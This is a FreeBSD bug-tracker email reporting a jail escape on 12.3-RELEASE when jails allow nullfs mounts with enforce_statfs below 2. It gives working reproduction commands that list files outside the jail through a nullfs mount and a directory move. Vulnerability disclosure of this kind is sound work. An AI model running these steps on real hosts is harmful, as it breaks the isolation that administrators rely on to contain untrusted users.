From nobody Thu Feb 24 23:43:32 2022 X-Original-To: bugs@mlmmj.nyi.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2610:1c1:1:606c::19:1]) by mlmmj.nyi.freebsd.org (Postfix) with ESMTP id D91A719EB46F for ; Thu, 24 Feb 2022 23:43:32 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from mxrelay.nyi.freebsd.org (mxrelay.nyi.freebsd.org [IPv6:2610:1c1:1:606c::19:3]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256 client-signature RSA-PSS (4096 bits) client-digest SHA256) (Client CN "mxrelay.nyi.freebsd.org", Issuer "R3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4K4Txc4pkKz541c for ; Thu, 24 Feb 2022 23:43:32 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org (kenobi.freebsd.org [IPv6:2610:1c1:1:606c::50:1d]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256) (Client did not present a certificate) by mxrelay.nyi.freebsd.org (Postfix) with ESMTPS id 85D87155C1 for ; Thu, 24 Feb 2022 23:43:32 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org ([127.0.1.5]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id 21ONhWSw058437 for ; Thu, 24 Feb 2022 23:43:32 GMT (envelope-from bugzilla-noreply@freebsd.org) Received: (from www@localhost) by kenobi.freebsd.org (8.15.2/8.15.2/Submit) id 21ONhWqe058436 for bugs@FreeBSD.org; Thu, 24 Feb 2022 23:43:32 GMT (envelope-from bugzilla-noreply@freebsd.org) X-Authentication-Warning: kenobi.freebsd.org: www set sender to bugzilla-noreply@freebsd.org using -f From: bugzilla-noreply@freebsd.org To: bugs@FreeBSD.org Subject: [Bug 262180] jail escaping via jal-friendly nullfs Date: Thu, 24 Feb 2022 23:43:32 +0000 X-Bugzilla-Reason: AssignedTo X-Bugzilla-Type: new X-Bugzilla-Watch-Reason: None X-Bugzilla-Product: Base System X-Bugzilla-Component: kern X-Bugzilla-Version: 12.3-RELEASE X-Bugzilla-Keywords: X-Bugzilla-Severity: Affects Some People X-Bugzilla-Who: firk@cantconnect.ru X-Bugzilla-Status: New X-Bugzilla-Resolution: X-Bugzilla-Priority: --- X-Bugzilla-Assigned-To: bugs@FreeBSD.org X-Bugzilla-Flags: X-Bugzilla-Changed-Fields: bug_id short_desc product version rep_platform op_sys bug_status bug_severity priority component assigned_to reporter Message-ID: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugs.freebsd.org/bugzilla/ Auto-Submitted: auto-generated List-Id: Bug reports List-Archive: https://lists.freebsd.org/archives/freebsd-bugs List-Help: List-Post: List-Subscribe: List-Unsubscribe: Sender: owner-freebsd-bugs@freebsd.org MIME-Version: 1.0 ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org; s=dkim; t=1645746212; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding; bh=fHIc/yZeSPoz9M0z9YdUyhYsyhnp+2o4EL0BAdoeAek=; b=jnuikXd3g78j4CLvBW9J0RKbNIoHUcMxP4d5vYy5GB1IiUXCOgEgtNARymcU2jIhU0uPkM g6ByBfWAmYicwIzLoTGJ0rul7bNTyITrrb+fAmjIGRvHua52iVFPPCgwcw9GIDXu/RPvjb 5alLBjNBk+qoOlPm3rFmBwOb7AX7xKXn00bTfzsPV2S2TMEEvZGnNmVtCX3i7eTBmZ9wwo +acQ14nOdWOSLWT/2cNRmeaEZ2Tfv4ijjpiFAAHmsuVZUrfx2hwDVzpWKWnUhvS0PjdT/5 yCJ6F5M9WhWYLaTfHgikBuJrlgwGxyZBw21QSKQLCRSaB5DduX6ld+Ir8hLiuQ== ARC-Seal: i=1; s=dkim; d=freebsd.org; t=1645746212; a=rsa-sha256; cv=none; b=axI97PJ/Z5vHspvceKB00b+utxqQo5nCvzoBIpZrt3zV3CPUEbBQ+QuuBDAHL/zXBgb6pU zu/3XMhNKumqHeXJ/S/7D4lj8YxYWCpg/3y5QjyNHMaewR3HiftCa80IZLo+n2QBj6qcO2 QtMBmIZlRxfcLN7kh8Gb9lKZJsWxrf5791dMb+PrvKpmm7z8E1c4aipbG/1E/h9D0bJkTO yNfAbwvQGMvTinF8D+GOC27I0w6W4+UmP25xAMC2YG49mCVnMgGCd6GkiKG4r1ZGh+6ALG Vg5486qcMCx1NXZ3GJ61U9GyVafgtinzDN8qXvVvPJlwmQygYdZXSkybw5zQFg== ARC-Authentication-Results: i=1; mx1.freebsd.org; none X-ThisMailContainsUnwantedMimeParts: N https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D262180 Bug ID: 262180 Summary: jail escaping via jal-friendly nullfs Product: Base System Version: 12.3-RELEASE Hardware: Any OS: Any Status: New Severity: Affects Some People Priority: --- Component: kern Assignee: bugs@FreeBSD.org Reporter: firk@cantconnect.ru Jail could be escaped when run with enforce_statfs<2, allow.mount=3Dtrue, allow.mount.nullfs=3Dtrue. prepare jail environment > mkdir /j/1 > tar -c -f - /bin/ lib /libexec /sbin | tar -x -f - -C /j/1 > mkdir /j/1/tmp start a vulnerable jail > jail -c path=3D/j/1 persist=3Dfalse allow.mount=3Dtrue allow.mount.nullfs= =3Dtrue enforce_statfs=3D1 command=3D/bin/sh malicious code > mkdir /tmp/a /tmp/a/b/c /tmp/a/b/c/test /tmp/a/d > mount -t nullfs /tmp/a/b/c /tmp/a/d > cd /tmp/a/d/test > mv /tmp/a/b/c/test /tmp/a/b/test > ls -al ../../../../.. > ls -al ../../../../../.. you will see the files outside the jail --=20 You are receiving this mail because: You are the assignee for the bug.=